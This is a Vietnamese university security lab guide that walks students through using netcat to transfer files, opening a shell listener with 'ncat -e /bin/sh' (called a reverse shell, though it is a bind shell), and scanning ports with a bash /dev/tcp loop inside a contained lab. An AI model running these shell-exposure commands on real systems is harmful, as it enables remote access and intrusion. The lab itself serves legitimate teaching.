**Nội dung và hướng dẫn thực hiện bài thực hành**

**Mục đích**

* Giúp sinh viên hiểu về các kỹ thuật tấn công sử dụng một số công cụ như netcat và shell script.

**Yêu cầu đối với sinh viên**

* Có kiến thức cơ bản về hệ điều hành Linux, mô hình mạng khách/chủ.

**Nội dung thực hành**

**Khởi Động Lab**

* Chạy: labtainer ptit-netcat-shellscript
* Nhập mã sinh viên.
* 2 terminal xuất hiện: client, server (cùng mạng LAN).

**Task 1: Chuyển File**

1. Trên client, tạo file sendfile.txt:

echo -n "My string is: $(head -c 20 /dev/urandom | base64)" > sendfile.txt

1. Trên server, mở Netcat lắng nghe cổng 12345:

nc -l -p 12345 > receive.txt

1. Trên client, gửi file tới server:

nc <IP server> 12345 < sendfile.txt

(Thay <IP server> bằng IP thực tế, check bằng ip addr trên server).

1. Trên server, kiểm tra:

cat receive.txt

**Task 2: Thiết Lập Reverse Shell**

1. Trên server, mở Ncat thực thi shell:

ncat -l -p 12345 -e /bin/sh

1. Trên client, kết nối tới server:

nc <IP server> 12345

1. Trong kết nối, chạy:

whoami

ifconfig

**Task 3: Quét Cổng**

1. Trên client, tạo file ports.txt chứa cổng 22:

touch ports.txt

echo "22" > ports.txt

1. Tạo script scanning.sh:

nano scanning.sh

* + Nội dung:

#!/bin/bash

server\_ip="<IP server>"

while read port; do

(echo > /dev/tcp/$server\_ip/$port) 2>/dev/null && echo "Port $port is open" || echo "Port $port is closed"

done < ports.txt > result.txt

(Thay <IP server> bằng IP thực tế).

1. Cấp quyền và chạy script:

chmod +x scanning.sh

./scanning.sh

1. Kiểm tra kết quả:

cat result.txt

**Kết Thúc**

* Chạy: stoplab ptit-netcat-shellscript